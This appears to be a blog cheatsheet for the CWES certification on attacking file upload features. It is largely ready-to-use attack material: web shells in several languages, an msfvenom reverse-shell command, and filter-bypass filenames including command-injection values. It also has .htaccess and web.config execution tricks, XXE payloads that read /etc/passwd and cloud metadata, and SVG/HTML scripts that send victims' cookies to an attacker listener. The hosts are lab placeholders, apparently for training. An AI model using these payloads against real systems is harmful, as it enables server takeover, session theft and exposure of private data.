Post

CWES Cheatsheet — File Upload

CWES Cheatsheet — File Upload

file upload vulnerabilities are about getting a shell (or something malicious) onto the server by abusing how upload filters are implemented. the key mindset: every filter has a gap — your job is to figure out what kind of validation is in play, then pick the right bypass.


Fuzzing File Upload Bypasses

Extension Fuzzing Wordlists

WordlistDescription
/usr/share/seclists/Discovery/Web-Content/web-extensions.txtgeneral web extensions
/usr/share/seclists/Miscellaneous/web/content-type.txtContent-Type values
PHP Extensions Listall PHP executable extensions

Quick PHP Extension Wordlist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.PHP
.Php
.pHp
.phP
.shtml
1
2
3
4
5
6
7
1. Upload a normal file, capture request in Burp
2. Send to Intruder
3. Set payload position on the extension:
   filename="shell.§php§"
4. Load php_ext.txt as payload list
5. Start attack
6. Look for different response size/code = accepted extension

Fuzz Extensions with ffuf

1
2
3
4
5
# Fuzz which PHP extension is accepted
ffuf -u http://target.htb/upload.php -X POST \
  -H "Content-Type: multipart/form-data; boundary=----boundary" \
  -d "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.FUZZ\"\r\nContent-Type: image/gif\r\n\r\nGIF89a\n<?php system('id'); ?>\r\n------boundary--" \
  -w php_ext.txt -fs <default_size>

Fuzz Upload Directory (find where files go)

1
2
3
4
5
# Find upload directories
ffuf -u http://target.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fc 404 -ic | grep -iE "upload|image|file|img|media|asset"

# Check if your uploaded shell exists
ffuf -u http://target.htb/FUZZ/shell.phtml -w upload_dirs.txt -fc 404

Quick upload directory wordlist (save as upload_dirs.txt):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uploads
upload
images
img
files
media
profile_images
assets/uploads
static/uploads
content/uploads
wp-content/uploads
user/uploads
data
tmp
temp

Fuzz Content-Type with Burp Intruder

1
2
3
4
5
6
7
1. Capture upload request in Burp
2. Send to Intruder
3. Set payload position on Content-Type:
   Content-Type: §image/gif§
4. Load content-type.txt as payload list
5. Start attack
6. Different response size = accepted Content-Type

Common Content-Types that bypass filters:

1
2
3
4
5
6
image/gif
image/png
image/jpeg
image/jpg
image/svg+xml
application/octet-stream

Fuzz Content-Type with ffuf

1
2
3
4
5
# Fuzz which Content-Type is accepted
ffuf -u http://target.htb/upload.php -X POST \
  -H "Content-Type: multipart/form-data; boundary=----boundary" \
  -d "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.phtml\"\r\nContent-Type: FUZZ\r\n\r\nGIF89a\n<?php system('id'); ?>\r\n------boundary--" \
  -w /usr/share/seclists/Miscellaneous/web/content-type.txt -fs <default_size>

Example Attack Workflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. Upload normal image → capture in Burp → note response

2. Fuzz extension (Burp Intruder):
   filename="shell.§FUZZ§"
   → Find which extensions are accepted

3. Fuzz Content-Type (Burp Intruder):
   Content-Type: §FUZZ§
   → Find which Content-Types are accepted

4. Combine: accepted extension + accepted Content-Type + GIF89a magic bytes

5. Fuzz upload path:
   ffuf -u http://target.htb/FUZZ/shell.phtml -w upload_dirs.txt

6. Trigger shell:
   curl http://target.htb/uploads/shell.phtml?cmd=whoami

File Upload Attacks

Client-Side Bypass

client side HTML code can be altered to allow file upload validation bypass by removing validate(), and optionally clearing the onchange and accept values.

Web Shells

Web ShellDescription
<?php file_get_contents('/etc/passwd'); ?>basic PHP file read
<?php system('hostname'); ?>basic PHP command execution
<?php echo file_get_contents('/etc/hostname'); ?>PHP script to get hostname on back-end server
<?php system($_REQUEST['cmd']); ?>basic PHP web shell
<?php echo shell_exec($_GET["cmd"]); ?>alternative PHP webshell using shell_exec
<% eval request('cmd') %>basic ASP web shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.phpgenerate PHP reverse shell
/usr/share/seclists/Web-Shellswebshells for CFM, FuzzDB, JSP, Laudanum, Magento, PHP, Vtiger and WordPress
PHP Web ShellPHP web shell
PHP Reverse ShellPHP reverse shell
Web/Reverse Shellslist of web shells and reverse shells

Bypasses

CommandDescription
Client-Side Bypassbypass client-side file type validations
[CTRL+SHIFT+C]toggle Page Inspector
Blacklist Bypassuse Burp Suite Intruder to upload a single file name with list of possible extensions, then use Intruder again to perform GET request on all uploaded files to identify PHP execution
shell.phtmluncommon extension
shell.pHpcase manipulation
PHP Extensionslist of PHP extensions
ASP Extensionslist of ASP extensions
Web Extensionslist of web extensions
Whitelist Bypass 
shell.jpg.phpdouble extension bypass
shell.php.jpgreverse double extension

Additional Bypass Techniques

CommandDescription
shell.php%00.jpgnull byte bypass (older PHP < 5.3.4) — PHP reads up to %00 and ignores .jpg
shell.php%0a.jpgnewline bypass
shell.pharalternative PHP executable extension — often missed by blacklists
shell.php7PHP7 extension
shell.phtPHT extension — executes as PHP on many Apache configs
shell.pgifanother alternative PHP extension
shell.phtmloften missed by blacklists but still executes as PHP
shell.shtmlSSI extension (Server Side Include)
shell.PHP / shell.pHpcase manipulation variations

Character Injection Wordlist

1
2
3
4
5
6
7
8
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '...' ':'; do
    for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

Filename Injection Attacks

the filename itself can be an attack vector if the app processes or displays it.

1
2
3
4
5
6
7
8
9
10
# Command injection via filename
file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami

# XSS via filename
<script>alert(window.origin);</script>.jpg

# SQLi via filename
file';select+sleep(5);--.jpg

when this works: if the app uses the filename in an OS command (like mv file /tmp), displays it on the page, or inserts it into a database query.


Content-Type and MIME-Type Bypass

How Content-Type Validation Works

1
2
3
4
5
6
// PHP checks the Content-Type header from the request
$type = $_FILES['uploadFile']['type'];
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}

browser sets this automatically. we control it in Burp — easy bypass.

ResourceDescription
Web Content-Typeslist of web Content-Types
Content-Typeslist of all Content-Types
File Signatureslist of file signatures / magic bytes

Magic Bytes / MIME-Type Bypass

the server checks the first few bytes of your file to verify it’s actually an image. we trick it by adding image magic bytes at the top of our PHP shell.

File TypeText SignatureHex
GIFGIF89a47 49 46 38 39 61
PNG.PNG89 50 4E 47
JPEG(non-printable)FF D8 FF E0
PDF%PDF25 50 44 46

Upload Bypass Methodology

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Step 1: Try normal shell.php upload
  → If blocked, continue...

Step 2: Bypass client-side (remove JS validation in browser DevTools)
  → Still blocked server-side? continue...

Step 3: Try extension bypasses in Burp:
  .phtml, .phar, .pht, .php7, .php5, .pgif, .PHP

Step 4: Try double extensions:
  shell.php.jpg, shell.jpg.php, shell.php%00.jpg

Step 5: Change Content-Type header in Burp:
  Content-Type: image/gif  (or image/png, image/jpeg)

Step 6: Add magic bytes at top of file:
  GIF89a  (before your PHP code)

Step 7: Combine ALL above together:
  Filename: shell.phtml
  Content-Type: image/gif
  File body: GIF89a + PHP shell

Step 8: If PHP completely blocked, try:
  → .htaccess upload attack (see below)
  → SVG with XXE to read files
  → SVG with XSS for cookie steal

Limited Uploads

XSS via Image Metadata (exiftool)

if the app displays image metadata (EXIF data) after upload, inject XSS into metadata fields:

1
2
3
4
5
# Inject XSS into image Comment field
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg

# Verify it's injected
exiftool image.jpg | grep Comment

upload the image normally. when the app displays metadata (Comment, Artist, etc.), XSS triggers.

extra trick: change image MIME-Type to text/html — some apps will render it as HTML instead of an image, triggering XSS even without metadata display.

XSS via HTML Upload

1
2
3
4
5
<html>
<body>
<script>new Image().src='http://YOUR_IP/?c='+document.cookie;</script>
</body>
</html>
  1. save as evil.html and upload it
  2. send link to victim: http://target.htb/uploads/evil.html
  3. victim visits and cookie is sent to your listener

XSS via SVG Upload

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(document.cookie);</script>
</svg>

Cookie stealing version:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <script type="text/javascript">
    new Image().src='http://YOUR_IP/?c='+document.cookie;
  </script>
</svg>
  1. save as evil.svg
  2. upload as profile picture
  3. start listener: sudo python3 -m http.server 80
  4. if admin views the image, you receive their cookie
  5. use cookie in browser to access admin panel

XXE via SVG — Read Files

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
  1. save as evil.svg and upload
  2. view uploaded image — /etc/passwd content displayed on page
  3. change target: file:///flag.txt, file:///var/www/html/config.php

XXE via SVG — Read PHP Source Code (base64)

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
  1. upload and view image to get base64 string
  2. decode: echo "BASE64_OUTPUT" | base64 -d
  3. read PHP source to find creds, hidden endpoints, more vulns

XXE via SVG — SSRF (hit internal services)

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin"> ]>
<svg>&xxe;</svg>

XXE via SVG — AWS Metadata

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<svg>&xxe;</svg>

you can utilize the XXE vulnerability to enumerate internally available services or even call private APIs to perform private actions.

XXE via XML Upload

if the app accepts XML file imports (config, data, settings):

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
  <data>&xxe;</data>
</root>

XXE via DOCX Upload

.docx files are ZIP archives with XML inside. useful for resume/document upload features.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: Create normal .docx in LibreOffice, then unzip
mkdir exploit && cd exploit
unzip ../resume.docx

# Step 2: Edit word/document.xml — add DTD at top:
# <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

# Step 3: Add &xxe; inside any <w:t> tag in the body:
# <w:t>&xxe;</w:t>

# Step 4: Rezip as .docx
cd exploit && zip -r ../evil.docx .

# Step 5: Upload evil.docx
# If server parses it → response/rendered doc contains /etc/passwd

when this works: resume parsers, document converters, report generators, anything that processes DOCX server-side.

SSRF via PDF (HTML-to-PDF converters)

if the app converts HTML to PDF (wkhtmltopdf, WeasyPrint, etc.):

1
2
<iframe src="http://127.0.0.1:8080/admin" width="800" height="800"></iframe>
<img src="http://169.254.169.254/latest/meta-data/">
  1. if you can inject HTML that gets converted to PDF
  2. the generated PDF contains internal page content — SSRF works
  3. try: internal admin panels, cloud metadata, internal APIs

Upload Directory Discovery

1
2
3
4
5
6
7
8
# Upload file with same name twice (may error with path)

# Upload file with very long name (5000+ chars)
python3 -c "print('A'*5000 + '.php')"

# Upload with Windows reserved names (if Windows server)
# Try filenames: CON, COM1, LPT1, NUL, PRN
# May cause error that reveals upload directory

Fuzz for upload directory

1
2
3
4
5
ffuf -u http://target.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fc 404

# Common upload paths
/uploads/ /upload/ /images/ /img/ /files/
/media/ /profile_images/ /assets/uploads/

Read source code via LFI or XXE

1
2
# If you have LFI, read the upload PHP source
php://filter/read=convert.base64-encode/resource=upload.php

Windows-Specific Upload Attacks

only relevant if target is Windows server (IIS, XAMPP on Windows, etc.)

Reserved characters in filename (may leak upload path via error):

1
2
3
4
5
shell|.php
shell<.php
shell>.php
shell*.php
shell?.php

Reserved filenames (may cause error with path disclosure):

1
2
3
4
5
CON
COM1
LPT1
NUL
PRN

8.3 filename convention (overwrite existing files):

1
2
3
4
5
# Windows short filename format
# hackthebox.txt = HAC~1.TXT
# web.config = WEB~1.CON

# Upload WEB~1.CON to potentially overwrite web.config

Case insensitive (Windows only):

1
2
3
shell.pHp    # Windows treats as .php
shell.PhP    # Also works on Windows
SHELL.PHP    # Also works

Linux servers are case-sensitive — shell.pHp won’t execute as PHP on Linux.


.htaccess Upload Attack

if the server blocks ALL PHP extensions but lets you upload other files, upload a .htaccess that tells Apache to execute a custom extension as PHP.

Step 1 — Upload a file named .htaccess with this content:

1
AddType application/x-httpd-php .evil

this tells Apache: “treat any .evil file as PHP”

Step 2 — Upload shell.evil with your PHP webshell:

1
<?php system($_REQUEST['cmd']); ?>

Step 3 — Access it:

1
http://target.htb/uploads/shell.evil?cmd=whoami

IIS equivalent — upload web.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
        scriptProcessor="%windir%\system32\inetsrv\asp.dll"
        resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>

Alternative PHP Functions (when system() is disabled)

sometimes system() is in disable_functions. upload <?php phpinfo(); ?> first to check, then try alternatives:

1
2
3
4
5
<?php echo exec($_REQUEST['cmd']); ?>
<?php echo passthru($_REQUEST['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php $o = `$_REQUEST['cmd']`; echo $o; ?>
<?php $o = popen($_REQUEST['cmd'], 'r'); echo fread($o, 4096); ?>

Path Traversal in Filename (Burp)

1
2
3
4
5
6
7
Before:
Content-Disposition: form-data; name="file"; filename="shell.php"

After (try each):
Content-Disposition: form-data; name="file"; filename="../shell.php"
Content-Disposition: form-data; name="file"; filename="../../shell.php"
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"

the app saves uploads to /var/www/html/uploads/ where PHP execution is disabled. using filename="../shell.php" places it in /var/www/html/shell.php where PHP does execute. access: http://target.htb/shell.php?cmd=id


Webshells for Different Languages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# PHP
<?php system($_REQUEST['cmd']); ?>

# ASP
<% eval request("cmd") %>

# ASPX
<%@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process(){
  StartInfo=new System.Diagnostics.ProcessStartInfo("cmd",
  "/c "+Request["cmd"]){UseShellExecute=false,
  RedirectStandardOutput=true}}.Start().StandardOutput.ReadToEnd()); %>

# JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Scenarios

ScenarioWhat to Do
Upload PHP blocked entirelyupload .htaccess first, then shell.evil
Only images allowedSVG with XXE to read source code and find more vulns
Only images allowed + displayedSVG with XSS for cookie steal
ZIP upload allowedzip symlink: ln -s /etc/passwd link && zip --symlinks shell.zip link
Upload works but shell doesn’t executetry path traversal in filename ../shell.php
Upload works but can’t find filefuzz upload dirs, check response, check <img> in page source
Upload + SQLiupload shell, use SQLi LOAD_FILE() to read it or INTO OUTFILE to write shell

Scenario 1: Normal PHP Upload Works

no filters at all, or only client-side validation.

1
2
3
4
1. Save as shell.php
2. If client-side blocks it → remove JS validation in DevTools
3. Or capture in Burp → change filename back to shell.php
4. Upload → find path → trigger: ?cmd=whoami

Scenario 2: PHP Extension Blocked (Blacklist)

.php is blocked but server runs PHP.

1
2
3
4
5
6
7
8
9
10
11
12
13
1. Try alternative extensions one by one:
   shell.phtml
   shell.phar
   shell.pht
   shell.php7
   shell.php5
   shell.pgif
   shell.PHP
   shell.pHp

2. Or fuzz with Burp Intruder using php_ext.txt wordlist

3. Upload accepted extension → access it → ?cmd=whoami

Scenario 3: Only Image Extensions Allowed (Whitelist)

server only allows .jpg, .png, .gif.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Try double extension:
   shell.php.jpg
   shell.jpg.php

2. Try null byte:
   shell.php%00.jpg

3. Try character injection:
   shell.php%0a.jpg
   shell.jpg:.php

4. Generate wordlist with character injection script and fuzz with Burp Intruder

5. If NOTHING works → move to Scenario 7 (Limited Uploads)

Scenario 4: Content-Type Validation

server checks Content-Type header.

1
2
3
4
5
6
7
8
9
1. Upload shell.php
2. Capture in Burp
3. Change Content-Type from application/x-php to:
   Content-Type: image/gif
   Content-Type: image/png
   Content-Type: image/jpeg

4. Forward request
5. If still blocked → fuzz Content-Type with Burp Intruder using content-type.txt

Scenario 5: Magic Bytes / MIME-Type Validation

server reads first bytes of file to verify it’s a real image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1. Add magic bytes at the top of your PHP shell:

GIF89a
<?php system($_REQUEST['cmd']); ?>

2. Save as shell.php (or shell.phtml if extension also blocked)
3. Change Content-Type to image/gif in Burp
4. Upload → access → ?cmd=whoami

Example:

Filename: shell.phtml
Content-Type: image/gif
File body:
GIF89a
<?php system($_REQUEST['cmd']); ?>

Scenario 6: ALL PHP Extensions Blocked

every PHP extension is blocked, nothing gets through.

Limited Uploads:

Potential AttackFile Types
XSSHTML, JS, SVG, GIF
XXE/SSRFXML, SVG, PDF, PPT, DOC
DoSZIP, JPG, PNG
1
2
3
4
5
6
7
1. Upload a file named .htaccess with content:
   AddType application/x-httpd-php .evil

2. Upload shell.evil with content:
   <?php system($_REQUEST['cmd']); ?>

3. Access: http://target.htb/uploads/shell.evil?cmd=whoami

Scenario 7: Only Images Allowed — No PHP Execution Possible

you absolutely cannot get PHP to execute. only real images accepted.

Try SVG XXE to read files:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
  1. save as evil.svg
  2. upload as profile picture
  3. view the image — /etc/passwd content displayed
  4. change to read flag: file:///flag.txt
  5. read PHP source: php://filter/convert.base64-encode/resource=upload.php
  6. decode: echo "BASE64" | base64 -d

Try SVG XSS to steal cookies:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <script type="text/javascript">
    new Image().src='http://YOUR_IP/?c='+document.cookie;
  </script>
</svg>
  1. save as evil.svg and upload
  2. start listener: sudo python3 -m http.server 80
  3. if admin views the image, you receive their cookie
  4. use cookie in browser to access admin panel

Scenario 8: Only DOCX/PDF Allowed

resume upload, document upload, report upload.

Try DOCX XXE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: Create normal.docx in LibreOffice, then:
mkdir exploit && cd exploit
unzip ../normal.docx

# Step 2: Edit word/document.xml, add at top:
# <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

# Step 3: Find any <w:t> tag and add &xxe; inside:
# <w:t>&xxe;</w:t>

# Step 4: Rezip
cd exploit && zip -r ../evil.docx .

# Step 5: Upload evil.docx
# If server parses it → response contains /etc/passwd

Try PDF SSRF (if server uses HTML-to-PDF converter):

1
2
3
<!-- If you can inject HTML that gets converted to PDF -->
<iframe src="http://127.0.0.1:8080/admin" width="800" height="800"></iframe>
<img src="http://169.254.169.254/latest/meta-data/">
  1. if the generated PDF contains internal page content — SSRF works
  2. try reading internal services, admin panels, cloud metadata

Scenario 9: ZIP Upload Allowed

server accepts ZIP and extracts contents.

Symlink attack to read files:

1
2
3
4
5
6
# On Kali
ln -s /etc/passwd link.txt
zip --symlinks shell.zip link.txt

# Upload shell.zip → if app extracts it, link.txt contains /etc/passwd
# Access: http://target.htb/uploads/link.txt

Scenario 10: Upload Works but Shell Doesn’t Execute

file uploads successfully but visiting it doesn’t run PHP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. Check if you're accessing the right path
   → Right-click image → copy address
   → Fuzz upload directories with ffuf

2. Upload directory might have execution disabled
   → Try path traversal in filename:
   filename="../shell.php"
   filename="../../shell.php"
   → Places file outside uploads/ into an executable directory

3. Check if server renames your file
   → Upload → check response for new filename
   → Try accessing with the renamed filename

4. Check file extension was preserved
   → Some servers strip .php and save as shell only
   → Try double extension: shell.php.jpg (server strips .jpg, keeps .php)

Path traversal in Burp:

1
Content-Disposition: form-data; name="file"; filename="../shell.php"

Scenario 11: system() Disabled on Server

PHP shell uploads and executes, but ?cmd=whoami returns blank.

1
2
3
4
5
6
7
8
9
10
11
12
13
1. Upload phpinfo first:
   <?php phpinfo(); ?>

2. Access it → search for "disable_functions"

3. Try alternatives based on what's NOT disabled:
   <?php echo exec($_REQUEST['cmd']); ?>
   <?php echo passthru($_REQUEST['cmd']); ?>
   <?php echo shell_exec($_REQUEST['cmd']); ?>
   <?php $o = `$_REQUEST['cmd']`; echo $o; ?>
   <?php $o = popen($_REQUEST['cmd'],'r'); echo fread($o,4096); ?>

4. Re-upload with working function

Scenario 12: Upload to Chain with Other Vulns

upload alone doesn’t give you the flag, need to chain.

Chain PathSteps
SVG XXE to read source code, find hardcoded creds, login as admin, upload PHP shellSVG XXE → Source Code → Creds → Admin → RCE
SVG XSS to steal admin cookie, access admin panel, upload PHP shellSVG XSS → Cookie → Admin → RCE
SVG XXE to read config.php, find DB creds, SQLi or direct DB accessSVG XXE → Config → DB Access
HTML XSS phishing form to capture admin creds, login as adminHTML XSS → Phishing → Creds → Admin
SQLi to write webshell via INTO OUTFILE, access shellSQLi → File Write → RCE
ZIP symlink to read SSH key, SSH as userZIP Symlink → SSH Key → Shell

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.